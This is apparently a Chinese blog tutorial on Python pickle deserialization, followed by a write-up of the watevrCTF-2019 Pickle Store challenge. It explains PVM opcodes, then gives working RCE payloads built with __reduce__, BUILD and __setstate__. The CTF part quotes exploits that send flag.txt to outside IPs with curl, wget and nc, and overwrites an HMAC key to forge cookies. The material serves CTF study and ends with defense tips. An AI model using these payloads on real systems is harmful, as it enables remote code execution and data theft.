pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:

  1. 指令处理器
    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。

  2. stack
    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  3. memo
    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

pickle在(反)序列化中用到的函数

1
2
3
4
5
6
7
# 序列化
pickle.dump(文件)
pickle.dumps(字符串)

# 反序列化
pickle.load(文件)
pickle.loads(字符串)

举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle  

class Roommates(object):
def __init__(self,name = "lwt"):
self.name = name

def say(self):
print ("hello!")

a = Roommates()
b = pickle.dumps(a)
c = pickle.loads(b)

print(b)
print(c)
c.say()

#输出:
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\tRoommates\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x03lwt\x94sb.'
<__main__.Roommates object at 0x0000026BD8F86640>
hello!

可序列化的对象

  • None 、 True 和 False

  • 整数、浮点数、复数

  • str、byte、bytearray

  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict

  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)

  • 定义在模块最外层的内置函数

  • 定义在模块最外层的类

  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

相信搞web的师傅都对php反序列化特别熟悉

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面

反序列化攻击的重点函数:

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。

  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的后文还会提到


pickle序列化后的数据是opcode,它相对其他语言所用的json格式而言易读性稍差,但是能够储存更多的python数据结构,随着python的更新迭代,opcode也有几个版本

OPCODE

v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python

opcode
常用操作码:

  • c : 读取本行内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中

  • ( : 将一个标记对象压入栈中,作为一个确定命令执行的位置,搭配 t 使用,产生元组

  • s : 后面跟字符串,读取引号中的内容,直到遇见换行符,将内容压入栈

  • t : 从栈中不断pop出数据,直到遇见 ( 停止,产生一个元组压回栈

  • R : 将之前压入栈的元组和对象全部弹出,将元组作为可调用参数的对象并执行该对象,最后将结果压入栈中

  • . : 结束整个pickle反序列化过程

  • ) ] }:入栈一个空t l d

  • b:用栈中第一个元素给第二元素赋值(和入栈顺序相反)

  • u:寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中

  • d:寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)

  • a: 将栈的第一个元素append到第二个元素(列表)中

  • o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象

  • i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

更全的表

opcode 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
p 将栈顶对象储存至memo_n pn\n
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更

举例

pickle.loads(b"““cos
system
(S’calc’
tR.””")

  • 对应os.system(“calc”)

pickle.loads(b"““c__builtin__
getattr
(c__builtin__
import
(S’os’
tRS’system’
tR(S’whoami’
tR.””")

  • 对应getattr(import(“os”),“system”)(“whoami”)


v3

v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议
pickle3版本的opcode(指令码)示例:

  • b’\x80\x03X\x04\x00\x00\x00abcdq\x00.’ ​

  • \x80:协议头声明

  • \x03:协议版本

  • \x04\x00\x00\x00:数据长度:4

  • abcd:数据

  • q:储存栈顶的字符串长度:一个字节(即\x00)

  • \x00:栈顶位置

  • .:数据截止

v4

4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 315
\8c\xx+字符串,xx为长度
\x94将前面的数据存入内存,可以看做是一段的结束
\x93使用栈顶两个元素,获取module.name
\x81新建对象


各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的opcode字符串可以放在python3里正常反序列化,但python3序列化输出的v3或v4地字符串却不能让python2反序列化

BUILD指令(b)

通过BUILD指令与C指令©的结合,我们可以把一个对象改写为os.system或其他函数假设某个类原先没有__setstate__方法,我们可以利用{‘setstate’: os.system}来BUILE这个对象
BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的_setstate__方法就改为了我们指定的os.system
接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”),而此时__setstate__已经被我们设置为os.system,因此实现RCE

1
2
3
4
5
6
7
8
9
import pickle


class user():
def __init__(self):
pass

pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nub.")
pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nubVcalc\nb.")

\x81用于创建新对象


还有一种利用方法:利用__reduce__() 魔术方法:

可以通过重写类的object.reduce()使之在被实例化时按照重写的方式进行。具体而言,python要求该魔术方法返回一个元组(callable,[para1,para2…]),每当该类的对象被unpickle时,callable被调用生成对象(实际就是构造函数)

在pickle的opcode中,R的作用与object.reduce()关系密切:选择栈上的一个元素作为函数,另一个作为参数(必须为元组),然后调用该函数。其实R正好对应object.reduce()函数,让它的返回值作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的

示例:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
class People(object):
def __init__(self,name="test"):
self.name=name

def __reduce__(self):
return (eval,("__import__('os').system('whoami')",))

a = People()
c = pickle.dumps(a)
print(c)
pickle.loads(c)

输出
b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!import(‘os’).system(‘whoami’)\x94\x85\x94R\x94."
pan\27104

pickle的常用攻击方式

  1. 变量覆盖

  2. RCE(反弹shell)

这里我们暂时只用一道# [watevrCTF-2019]Pickle Store来举例展示

pickle_shop
题目进去是一个商店界面,初始有500刀,得到flag需要购买1000刀的Flag Pickle
然后购买上面两个商品发现每次购买后COOKIE的session都会改变,base64解码后可以发现是用pickle序列化后的数据

1
2
3
4
5
6
import pickle  
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTXwBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZlWBAAAABhbnRpX3RhbXBlcl9obWFjcQdYIAAAADgwNzUzODY5ZmEzODNlOGFjNWQ2YWJhM2FiYWU3ZGMzcQh1Lg=="
print(b64decode(enc))
#输出b'\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M|\x01X\x07\x00\x00\x00historyq\x02]q\x03(X\x14\x00\x00\x00Yummy sm\xc3\xb6rg\xc3\xa5sgurkaq\x04X\x15\x00\x00\x00Yummy standard pickleq\x05X\x15\x00\x00\x00Yummy standard pickleq\x06eX\x10\x00\x00\x00anti_tamper_hmacq\x07X \x00\x00\x0080753869fa383e8ac5d6aba3abae7dc3q\x08u.'

接着用pickle反序列化它

1
2
3
4
5
6
import pickle  
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTXwBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZlWBAAAABhbnRpX3RhbXBlcl9obWFjcQdYIAAAADgwNzUzODY5ZmEzODNlOGFjNWQ2YWJhM2FiYWU3ZGMzcQh1Lg=="
print(pickle.loads(b64decode(enc)))
#输出{'money': 380, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle', 'Yummy standard pickle'], 'anti_tamper_hmac': '80753869fa383e8ac5d6aba3abae7dc3'}

可以看到pickle反序列化成功了,上面记录了我的余额,购买记录,以及后面跟着的加密算法验证这里我们就有了两个思路

1. 利用RCE

由于在BUU平台反弹shell较为繁琐,我就直接贴上其他师傅的exp

P3rh4ps师傅的:

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

直接上传了flag.txt

ch4ser师傅的:

1
2
3
4
import os
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))

这里用到了buuctf的xss平台

ice-cream师傅的:

1
2
3
4
5
6
7
8
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc 174.0.166.111 2333 < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

使用nc反弹shell

2. 覆盖key并伪造cookie

解法二,he110world师傅介绍的解法

首先做一个实验:假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

输出:

1
2
b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'

成功覆盖

那么在这道题目中,一个是要讲余额覆盖为足够购买的金额,更重要的是要将签名的key密钥覆盖掉,进而伪造cookie

1
2
3
4
5
6
7
8
9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:

1
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00

key的值被成功覆盖

那么现在要做的就只有两件事,1 把flask的key覆盖为我们自己的key, 2 用我们自己的key给cookie加密

1.flask中定义的key是全局变量,而反序列化操作却是在函数内部进行的,要使函数内的变量要覆盖全局变量的值,必须加global声明,所以修改payload:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("global key;key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

2. 伪造cookie

1
2
3
4
5
6
7
8
9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
base64编码后,抓下购买flag的包,修改其中的cookie发送

将返回的cookie反序列化:

1
2
3
4
import pickle
import base64

print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))

输出{‘money’: 9000, ‘history’: [‘flag{23579e93-60f6-4ab2-b28c-b2118548ca9f}\n’], ‘anti_tamper_hmac’: ‘745fed2952b33f08eab8bee8db65a7e9’}


pickle反序列化有一个专门的利用工具pker

https://github.com/EddieIvan01/pker

由于我自己也还没玩明白就暂时不作介绍了

Python 反序列化漏洞如何防御

(1) 不要再不守信任的通道中传递 pcikle 序列化对象
(2) 在传递序列化对象前请进行签名或者加密,防止篡改和重播
(3) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
(4) 将 pickle 加载的数据列入白名单

参考文章

2024-03-29

⬆︎TOP